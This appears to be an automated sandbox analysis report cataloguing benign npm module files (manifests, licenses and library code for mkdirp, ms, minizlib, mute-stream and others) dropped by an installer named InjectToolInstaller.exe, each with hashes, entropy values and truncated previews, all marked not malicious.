Preview:	{. "name": "minipass",. "version": "3.3.6",. "description": "minimal implementation of a PassThrough stream",. "main": "index.js",. "types": "index.d.ts",. "dependencies": {. "yallist": "^4.0.0". },. "devDependencies": {. "@types/node": "^17.0.41",. "end-of-stream": "^1.4.0",. "prettier": "^2.6.2",. "tap": "^16.2.0",. "through2": "^2.0.3",. "ts-node": "^10.8.1",. "typescript": "^4.7.3". },. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minipass.git". },. "keywords": [. "passthrough",. "stream". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "files": [. "index.d.ts",. "index.js". ],. "tap": {. "check-coverage": true. },. "engines": {. "node": ">=8". },. "prettier": {. "semi": false,. "printWidth

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minizlib\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.66820989838977
Encrypted:	false
SSDEEP:	12:hV1a3rHch6aYmNMaWjVEuP1U2M1bCgvoAgObmWL7OjEGB2eLht4odrLZJk/GaZXL:/1KrHc+mg6uP1w1GAiMKtBxzl91Apx
MD5:	18063883E703C0F5DA4521ECD2FEDF57
SHA1:	5745585933310F7807EEBD4E9BC01E2D83BA160D
SHA-256:	DD7D78CAF139BA9228A84BEE7BB5FA7B92E4D332B836F07BDF1B0F9E78FA6340
SHA-512:	37E2253E56E4BC7D4AF51D5625E4CFF7A652AA92D02804DEDE49E2E165B2C2A28DC3C31EA3F8D8F23EDF8BFF52FF4E31EF72DD0187B169C523B382B711783B58
Malicious:	false
Preview:	{. "name": "minizlib",. "version": "2.1.2",. "description": "A small fast zlib stream built on [minipass](http://npm.im/minipass) and Node.js's zlib binding.",. "main": "index.js",. "dependencies": {. "minipass": "^3.0.0",. "yallist": "^4.0.0". },. "scripts": {. "test": "tap test/*.js --100 -J",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --all; git push origin --tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minizlib.git". },. "keywords": [. "zlib",. "gzip",. "gunzip",. "deflate",. "inflate",. "compression",. "zip",. "unzip". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "MIT",. "devDependencies": {. "tap": "^14.6.9". },. "files": [. "index.js",. "constants.js". ],. "engines": {. "node": ">= 8". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1166
Entropy (8bit):	5.109425046752047
Encrypted:	false
SSDEEP:	24:wSZc//bRrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:3c/1aJHlxE35QHOs5exm3ogF5n
MD5:	F653359CC2BE3FF55AA601D58D84C808
SHA1:	125D6F5A2D14E90BD60C0B6FA60C4376ECBFFE54
SHA-256:	144C935613E823350F7798D19DA78B5E8315A79AF5C2A3744FD85CD61BAF07EE
SHA-512:	45B61A4493E9C562F3D3A8B82D86B2AA0C6473DBCE8CEEF080100965B6829434E6F353783E90160B489FC5359BA39F73EF15258A7631F4E23C5A32C39594EF76
Malicious:	false
Preview:	Copyright James Halliday (mail@substack.net) and Isaac Z. Schlueter (i@izs.me)..This project is free software released under the MIT license:..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\bin\cmd.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	4.762422042556923
Encrypted:	false
SSDEEP:	48:5+D3fY2UZm1j7+tuMuOsuKqpIqbwkJFcul:l2U6OlsuKqpI6wkzcul
MD5:	85A9219247B622BD411473774F5DA34B
SHA1:	CC9B8C09B603C7AB51FC57F58B23331DA157DC5F
SHA-256:	A5BF5E02584A7D72E4954F45E6EFD60965315A78237179072DE58CD8A161B8B6
SHA-512:	B3F9658691379F25625AA6E8AE6C460714DF1DD361ED40C65BC7BCDA211A3C6B48DD1BD3182E9C9BF02FE2C29243EC09C7EAA9B749E2ADD3658E7AA2D75C5E40
Malicious:	false
Preview:	#!/usr/bin/env node..const usage = () => `.usage: mkdirp [DIR1,DIR2..] {OPTIONS}.. Create each supplied directory including any necessary parent directories. that don't yet exist... If the directory already exists, do nothing...OPTIONS are:.. -m<mode> If a directory needs to be created, set the mode as an octal. --mode=<mode> permission string... -v --version Print the mkdirp version number.. -h --help Print this helpful banner.. -p --print Print the first directories created for each path provided.. --manual Use manual implementation, even if native is available.`..const dirs = [].const opts = {}.let print = false.let dashdash = false.let manual = false.for (const arg of process.argv.slice(2)) {. if (dashdash). dirs.push(arg). else if (arg === '--'). dashdash = true. else if (arg === '--manual'). manual = true. else if (/^-h/.test(arg) \|\| /^--help/.test(arg)) {. console.log(usage()). process.exit(0). } else if (arg === '-v' \|\| arg =

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	4.855087477648871
Encrypted:	false
SSDEEP:	12:EL7lYmtFYUuYVERyLUFggwv+zUFOsSYkKFggwv+zUFEsLtYMCDM+WYHoieTCie2U:sQ9ggw3SUggwRBjAM+g525m5ItLCBMV
MD5:	7F2AA6DC8822BA39D291CB2E24FB9E3B
SHA1:	4B5CC1F1765ACAB5C676983000BDAEC282643DC7
SHA-256:	FD78D08648851E2DB1B19E1271A90AD55B640D0B6AE2B20AD11C94AEEC847B33
SHA-512:	C7D5927564D6268A156D6066779C1F48425898378E8FC5109B0557A066A333C4F2AD54B093CAEBB9CEEE4A42469C807FFFE6A0E609B27E1DCF5E9A49347396D7
Malicious:	false
Preview:	const optsArg = require('./lib/opts-arg.js').const pathArg = require('./lib/path-arg.js')..const {mkdirpNative, mkdirpNativeSync} = require('./lib/mkdirp-native.js').const {mkdirpManual, mkdirpManualSync} = require('./lib/mkdirp-manual.js').const {useNative, useNativeSync} = require('./lib/use-native.js')...const mkdirp = (path, opts) => {. path = pathArg(path). opts = optsArg(opts). return useNative(opts). ? mkdirpNative(path, opts). : mkdirpManual(path, opts).}..const mkdirpSync = (path, opts) => {. path = pathArg(path). opts = optsArg(opts). return useNativeSync(opts). ? mkdirpNativeSync(path, opts). : mkdirpManualSync(path, opts).}..mkdirp.sync = mkdirpSync.mkdirp.native = (path, opts) => mkdirpNative(pathArg(path), optsArg(opts)).mkdirp.manual = (path, opts) => mkdirpManual(pathArg(path), optsArg(opts)).mkdirp.nativeSync = (path, opts) => mkdirpNativeSync(pathArg(path), optsArg(opts)).mkdirp.manualSync = (path, opts) => mkdirpManualSync(pathArg(path), optsArg(opt

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\lib\find-made.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	763
Entropy (8bit):	4.555066010183802
Encrypted:	false
SSDEEP:	12:rWguJIvFQ1WENQg3Ah+yQ9CFBPUDNgJFt4UJIvF9NQckh+DmJvg0WUFDNgVWBYb:rjuJ2Q1WHUSnQcF1UQrJ2ockhAYI0VBw
MD5:	B23628E3D83391F3631E04E049A158C6
SHA1:	98D0595FB390E763DB9D6887244B0772D0B4E7A6
SHA-256:	743B7FD8FD5EC11DD6A71800650A65079F5BD3F08CBABB5C8DFADF06D138D755
SHA-512:	8D59D6F84A5C7B9DB3796A68CF21E73FDD7BACC4CBBF3EE975FA690A3A5711C6D7DE7EDE2F04E2BFA9B116D8E631B3D8479D56FB4AA2ECD9321B8B7631564F4A
Malicious:	false
Preview:	const {dirname} = require('path')..const findMade = (opts, parent, path = undefined) => {. // we never want the 'made' return value to be a root directory. if (path === parent). return Promise.resolve().. return opts.statAsync(parent).then(. st => st.isDirectory() ? path : undefined, // will fail later. er => er.code === 'ENOENT'. ? findMade(opts, dirname(parent), parent). : undefined. ).}..const findMadeSync = (opts, parent, path = undefined) => {. if (path === parent). return undefined.. try {. return opts.statSync(parent).isDirectory() ? path : undefined. } catch (er) {. return er.code === 'ENOENT'. ? findMadeSync(opts, dirname(parent), parent). : undefined. }.}..module.exports = {findMade, findMadeSync}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\lib\mkdirp-manual.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1610
Entropy (8bit):	4.550094215173024
Encrypted:	false
SSDEEP:	24:rw7f/h0NOcLQ/50pFw5tXHuh7wW/p/VJ77rr0wiLQE/dm/ztBqOHkm/skBRC:oh0NY0pxh3h/VR0wu/dm/jq0UkDC
MD5:	B6A5DE09B9A14AD21157947B72567BBD
SHA1:	84D7358CB99C1CE8365D194119604A28C4C0C2DC
SHA-256:	492BEDCD991014695803A3788F6C520DF9C9B46FC315C9237DEBFDB713D75AAF
SHA-512:	02B9767BE047B31B896646D3EBF78C814DDE5F4FAA6E18EB19B666437FD62B6F7F8B328B7A2657C3DEDB0D0023BF7CA5C294EF0F849C106F6BB3C0513E3A030F
Malicious:	false
Preview:	const {dirname} = require('path')..const mkdirpManual = (path, opts, made) => {. opts.recursive = false. const parent = dirname(path). if (parent === path) {. return opts.mkdirAsync(path, opts).catch(er => {. // swallowed by recursive implementation on posix systems. // any other error is a failure. if (er.code !== 'EISDIR'). throw er. }). }.. return opts.mkdirAsync(path, opts).then(() => made \|\| path, er => {. if (er.code === 'ENOENT'). return mkdirpManual(parent, opts). .then(made => mkdirpManual(path, opts, made)). if (er.code !== 'EEXIST' && er.code !== 'EROFS'). throw er. return opts.statAsync(path).then(st => {. if (st.isDirectory()). return made. else. throw er. }, () => { throw er }). }).}..const mkdirpManualSync = (path, opts, made) => {. const parent = dirname(path). opts.recursive = false.. if (parent === path) {. try {. return opts.mkdirSync(path, opts). } catch (er) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\lib\mkdirp-native.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	969
Entropy (8bit):	4.641950605689418
Encrypted:	false
SSDEEP:	24:rNr765D6h0BUoxCOx1J/h765D6h0zF5mAztB2/MBQ:5i8h0BrCI/k8h0fmAj2/Mm
MD5:	416245D596FD10F00704362918482D47
SHA1:	C471C379855ED0EAC2E47537D647B1F9C4D7A70D
SHA-256:	BB01894BCA455D7CC47C4957687293EF0FA740FC50E9AF1351517E7AD667D00A
SHA-512:	52A36033D83E9E26D845560AFAA06536A83A01F21D8FFA39E06A76908C6C8C99B19AFFAB46DC4474FD7BE9ECDFD1B0E70426581E3647BC35A9764CAB499DCDA7
Malicious:	false
Preview:	const {dirname} = require('path').const {findMade, findMadeSync} = require('./find-made.js').const {mkdirpManual, mkdirpManualSync} = require('./mkdirp-manual.js')..const mkdirpNative = (path, opts) => {. opts.recursive = true. const parent = dirname(path). if (parent === path). return opts.mkdirAsync(path, opts).. return findMade(opts, path).then(made =>. opts.mkdirAsync(path, opts).then(() => made). .catch(er => {. if (er.code === 'ENOENT'). return mkdirpManual(path, opts). else. throw er. })).}..const mkdirpNativeSync = (path, opts) => {. opts.recursive = true. const parent = dirname(path). if (parent === path). return opts.mkdirSync(path, opts).. const made = findMadeSync(opts, path). try {. opts.mkdirSync(path, opts). return made. } catch (er) {. if (er.code === 'ENOENT'). return mkdirpManualSync(path, opts). else. throw er. }.}..module.exports = {mkdirpNative, mkdirpNativeSync}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\lib\opts-arg.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	784
Entropy (8bit):	4.573676235245015
Encrypted:	false
SSDEEP:	24:P7FvFpNhH0s82BSD/8/hkA2Bc/WuuVWnBc0jAWvIk0Bp:Zbc2k/2hkA2BCWuuVWBc0jAOIFz
MD5:	02186675D27F125F4CF0A25F62F66F95
SHA1:	9A156CB053789AE9AFC98EDB0EC511CDCACDF0E8
SHA-256:	A9A3E4F1700201C1ECB1D5EBB33D6DA69ECF3DB23546C4D077C730AE42A0A6A9
SHA-512:	3078A6FF5997B321B00033FEA93676EA025FA700D136F8169F84576048E484485047829C53955016487924C7C84BE428AE28184552F331B06E5E85BA67C47E00
Malicious:	false
Preview:	const { promisify } = require('util').const fs = require('fs').const optsArg = opts => {. if (!opts). opts = { mode: 0o777, fs }. else if (typeof opts === 'object'). opts = { mode: 0o777, fs, ...opts }. else if (typeof opts === 'number'). opts = { mode: opts, fs }. else if (typeof opts === 'string'). opts = { mode: parseInt(opts, 8), fs }. else. throw new TypeError('invalid options argument').. opts.mkdir = opts.mkdir \|\| opts.fs.mkdir \|\| fs.mkdir. opts.mkdirAsync = promisify(opts.mkdir). opts.stat = opts.stat \|\| opts.fs.stat \|\| fs.stat. opts.statAsync = promisify(opts.stat). opts.statSync = opts.statSync \|\| opts.fs.statSync \|\| fs.statSync. opts.mkdirSync = opts.mkdirSync \|\| opts.fs.mkdirSync \|\| fs.mkdirSync. return opts.}.module.exports = optsArg.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\lib\path-arg.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	730
Entropy (8bit):	4.872008532840894
Encrypted:	false
SSDEEP:	12:QCcQJntrQ5aulcF6JAHXWLo1jpfLH34j1O4cNG08XRjIzfD/EvY+0BY5:xF7ucF6JcXWqLH3m1O4cc9XRMDD/40Bq
MD5:	BB4E73574C5039AC56A7233A8CDF652C
SHA1:	56EA8C6FB15056FC0F5AE64B236638611E9AB0FB
SHA-256:	93ABAFB7A89F0FE00C662CD8F4100F4AEEF7D5B0A068B8A9AF81B38F03D21325
SHA-512:	4A6C0E3004A9EB81F9CDDE60E8CEF7DB1E0B1DF273EB75548C3C36ED217606138921194B91117D7A030A0F1055262E56D43689804D66A04A23DDB3655EBFF18E
Malicious:	false
Preview:	const platform = process.env.__TESTING_MKDIRP_PLATFORM__ \|\| process.platform.const { resolve, parse } = require('path').const pathArg = path => {. if (/\0/.test(path)) {. // simulate same failure that node raises. throw Object.assign(. new TypeError('path must be a string without null bytes'),. {. path,. code: 'ERR_INVALID_ARG_VALUE',. }. ). }.. path = resolve(path). if (platform === 'win32') {. const badWinChars = /[*\|"<>?:]/. const {root} = parse(path). if (badWinChars.test(path.substr(root.length))) {. throw Object.assign(new Error('Illegal characters in path.'), {. path,. code: 'EINVAL',. }). }. }.. return path.}.module.exports = pathArg.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\lib\use-native.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	448
Entropy (8bit):	5.105102335306996
Encrypted:	false
SSDEEP:	12:TscQ+DC99KxRJQNIWBj7QdZ2+NjGrEOdENGrERBir:TjDgAREBXQdxNGrEFNGrERBM
MD5:	43D7B801E229D75BD6AF53F9E0DD8B2C
SHA1:	DFF74435E5B488880D7A887A5B9B3BEBF45A70F3
SHA-256:	FED1E14F4D3A650493666697889E77EBB3BE6CCB6054E9F55197566D1CF0EEA8
SHA-512:	4B65A15D113095395DD6E4139E7AF7334E63CA4F139B702BCE6C3CF30AB027D71B5F38CCB27D6A106CF27FA78A30FF94B1BB1708E6FE5B6A410BCDF070063436
Malicious:	false
Preview:	const fs = require('fs')..const version = process.env.__TESTING_MKDIRP_NODE_VERSION__ \|\| process.version.const versArr = version.replace(/^v/, '').split('.').const hasNative = +versArr[0] > 10 \|\| +versArr[0] === 10 && +versArr[1] >= 12..const useNative = !hasNative ? () => false : opts => opts.mkdir === fs.mkdir.const useNativeSync = !hasNative ? () => false : opts => opts.mkdirSync === fs.mkdirSync..module.exports = {useNative, useNativeSync}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mkdirp\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	4.486429167607522
Encrypted:	false
SSDEEP:	12:DSXPg518X6awwiX+sbJUbmPNWDoWjV/PAP1U2M1bCglZgpfOHZeF01oq/yJPuokl:WXPk1aBsBORPAP1w1hHI61r/2utH
MD5:	6A1F8790C34F10F8E970819EEF841CD4
SHA1:	46DA394A85C88F3288E19CCD89C03174E1360C52
SHA-256:	A7357D86BE1FD6CD9AC7BC78C4D49155CE08C6087A2378FAE5B15CE2EB34B9A2
SHA-512:	B4D082F4508C619AC216BC1A33A5596A1400DDD3DD3AF2BB5C0F4D81F1EFA79719C758DC333427BE6AB491E0DAD9512A2C6204081CB1863430E6B87991546F6B
Malicious:	false
Preview:	{. "name": "mkdirp",. "description": "Recursively mkdir, like `mkdir -p`",. "version": "1.0.4",. "main": "index.js",. "keywords": [. "mkdir",. "directory",. "make dir",. "make",. "dir",. "recursive",. "native". ],. "repository": {. "type": "git",. "url": "https://github.com/isaacs/node-mkdirp.git". },. "scripts": {. "test": "tap",. "snap": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "tap": {. "check-coverage": true,. "coverage-map": "map.js". },. "devDependencies": {. "require-inject": "^1.4.4",. "tap": "^14.10.7". },. "bin": "bin/cmd.js",. "license": "MIT",. "engines": {. "node": ">=10". },. "files": [. "bin",. "lib",. "index.js". ].}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ms\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	4.754385499254461
Encrypted:	false
SSDEEP:	48:OvI4pOT+wFLQtahYQlCrFWn5V4W55i8v1BeH321aEEg1JPjayheWy0DywdjyG1JC:OgNywFLQY2SChWn5V4W55F6XeaErOyX4
MD5:	83C46187ED7B1E33A178F4C531C4EA81
SHA1:	EA869663486F513CC4D1CA8312ED52A165C417FA
SHA-256:	E5F0B6A946A9B2B356A28557728410717DF54EA2F599EDB619F9839DF6B7B0E9
SHA-512:	51B45089A53A23C12E28EB889396E2FA71B95085BAA5AC34D71FFB625131BF2FEC3AE98EFEAE537656E20EA257F44E089BCEBC9AD54CF672CDE852102E43E153
Malicious:	false
Preview:	/*. Helpers.. /..var s = 1000;.var m = s 60;.var h = m * 60;.var d = h * 24;.var w = d * 7;.var y = d * 365.25;../*. Parse or format the given `val`.. . Options:. . - `long` verbose formatting [false]. . @param {String\|Number} val. * @param {Object} [options]. * @throws {Error} throw an error if val is not a non-empty string or a number. * @return {String\|Number}. * @api public. /..module.exports = function (val, options) {. options = options \|\| {};. var type = typeof val;. if (type === 'string' && val.length > 0) {. return parse(val);. } else if (type === 'number' && isFinite(val)) {. return options.long ? fmtLong(val) : fmtShort(val);. }. throw new Error(. 'val is not a non-empty string or a valid number. val=' +. JSON.stringify(val). );.};../. Parse the given `str` and return milliseconds.. . @param {String} str. * @return {Number}. * @api private. */..function parse(str) {. str = String(str);. if (str.length > 100) {. return;. }

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ms\license.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	5.100083983397303
Encrypted:	false
SSDEEP:	24:bRDrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bRDaJHlxE3dQHOs5exm3ogFh
MD5:	2B8BC52AE6B7BA58E1629DEABD53986F
SHA1:	AC646EA4EC65CD1FEAC459A194A15A52D147BDCF
SHA-256:	1662FAE9B5314D11CF51284E2DCD1F006A354F7343F08712A730FCFF9A359801
SHA-512:	99536ECE73C2F788FA74C42BFABC044D3966812FFB9A9D30BB9183371999BB4067B26C1B36D40738444A37C341FD5B9B5E833C9D40884B99D39147E5A9E3F3DE
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2020 Vercel, Inc...Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ms\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	4.430071999887843
Encrypted:	false
SSDEEP:	12:7t1BLRJVkIMK/GCjxVMzaFT1oNkQc5s5RBR74J3YGqCVCYcCWhU9R:51BLR2UJFT1ou1s1R76YtCIY1WGR
MD5:	A682078F64A677DDAD1F50307A14B678
SHA1:	C290EB97736177176D071DA4AC855AB995685C97
SHA-256:	1A6B4D9739790C0B94AB96C8CC0507E281C164C311FF4FBF5E57FB8D26290B40
SHA-512:	9E16C5689B57275F4ED624C6954F12299706E2372A60F6173421800DA5EDF9ED52E52FD2B0798F826CDDBADE6CA19A6E6A996960C6697CC2DA0DDECB36409520
Malicious:	false
Preview:	{. "name": "ms",. "version": "2.1.3",. "description": "Tiny millisecond conversion utility",. "repository": "vercel/ms",. "main": "./index",. "files": [. "index.js". ],. "scripts": {. "precommit": "lint-staged",. "lint": "eslint lib/* bin/",. "test": "mocha tests.js". },. "eslintConfig": {. "extends": "eslint:recommended",. "env": {. "node": true,. "es6": true. }. },. "lint-staged": {. ".js": [. "npm run lint",. "prettier --single-quote --write",. "git add". ]. },. "license": "MIT",. "devDependencies": {. "eslint": "4.18.2",. "expect.js": "0.3.1",. "husky": "0.14.3",. "lint-staged": "5.0.0",. "mocha": "4.0.1",. "prettier": "2.0.5". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mute-stream\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mute-stream\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2841
Entropy (8bit):	4.448909276895926
Encrypted:	false
SSDEEP:	48:A6W0VWdK05LYQaqUwA+Qsyxf+JEjzAKeIuyLRzTDUKy0/tv8+7+5iF++cfZiHpFa:A6W0cZLYQNUx+QsRJEjx5u8HoD0/7+5N
MD5:	494560F8C177A27306C2761FEECFB0BF
SHA1:	EEBF9C87167DF88FD2175F6677C37226A6AECA3A
SHA-256:	F64DDDB569E875FE5F0CB0AA8AC824FDCAD7717293FE15B9A58159A61F60921C
SHA-512:	BA7D0A4198C8D09822CE51304EF0546F9E297B5A48B07073ABBCDCB81C6C8A7C673FB7A32D72F3EF029A81117CF18EC152B71961246020AA8C952075BC69E8E0
Malicious:	false
Preview:	const Stream = require('stream')..class MuteStream extends Stream {. #isTTY = null.. constructor (opts = {}) {. super(opts). this.writable = this.readable = true. this.muted = false. this.on('pipe', this._onpipe). this.replace = opts.replace.. // For readline-type situations. // This much at the start of a line being redrawn after a ctrl char. // is seen (such as backspace) won't be redrawn as the replacement. this._prompt = opts.prompt \|\| null. this._hadControl = false. }.. #destSrc (key, def) {. if (this._dest) {. return this._dest[key]. }. if (this._src) {. return this._src[key]. }. return def. }.. #proxy (method, ...args) {. if (typeof this._dest?.[method] === 'function') {. this._dest[method](...args). }. if (typeof this._src?.[method] === 'function') {. this._src[method](...args). }. }.. get isTTY () {. if (this.#isTTY !== null) {. return this.#isTTY. }. return this.#destSrc('isTTY'

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\mute-stream\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1163
Entropy (8bit):	4.668278088644939
Encrypted:	false
SSDEEP:	24:Dn178LIFhdwJ9KFw1ehPFDZBU+7ovB6J7ujYlgeJo6313R:h78sP89F1ehPxB7o0J7SJefF3R
MD5:	6042BA806BF170C7CFFDFA7D3A378583
SHA1:	3114F5F9201F3C2205F304A3E3C5BD2836713776
SHA-256:	900651D0BE09675BEF89932E088B9AFD557B68C123D72855BF45DC48FF5F2712
SHA-512:	B08E064663AEFAF349045CFE16A42C1E87EDBEE7E7D308090C6DBFE381DEE51A7AD05AA8B2150C01DA738B49CBDD46BE311353F7759CE9830A7B685C3879F6CB
Malicious:	false
Preview:	{. "name": "mute-stream",. "version": "1.0.0",. "main": "lib/index.js",. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.11.0",. "tap": "^16.3.0". },. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/mute-stream.git". },. "keywords": [. "mute",. "stream",. "pipe". ],. "author": "GitHub Inc.",. "license": "ISC",. "description": "Bytes go in, but they don't come out (when muted).",. "files": [. "bin/",. "lib/". ],. "tap": {. "statements": 70,. "branches": 60,. "functions": 81,. "lines": 70,. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\negotiator\HISTORY.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2499
Entropy (8bit):	4.724481905020091
Encrypted:	false
SSDEEP:	48:QgDLBhJIxPY/DeJ2/xA6rgYwN1RvZrQNLkrtC:RDJIxQbeJ7LN1JZrpZC
MD5:	DDC51C280EC46D9811670F9D184AF3E5
SHA1:	2FE55382F30DEC2AE79C116A280CB5DFA51B9772
SHA-256:	6B25039B6A40F7FCB7EB6DC891418D154C4B4154284F58C6BFFCB10AD7587A6D
SHA-512:	8C34483B20AFD92FC17C51A6DF6227E5DCA5B4D8EEED0989DD34371951CB87D323F7BCBF59B9CBC602AE521A8495C18553652189600E9735396A9AD62893D3D1
Malicious:	false
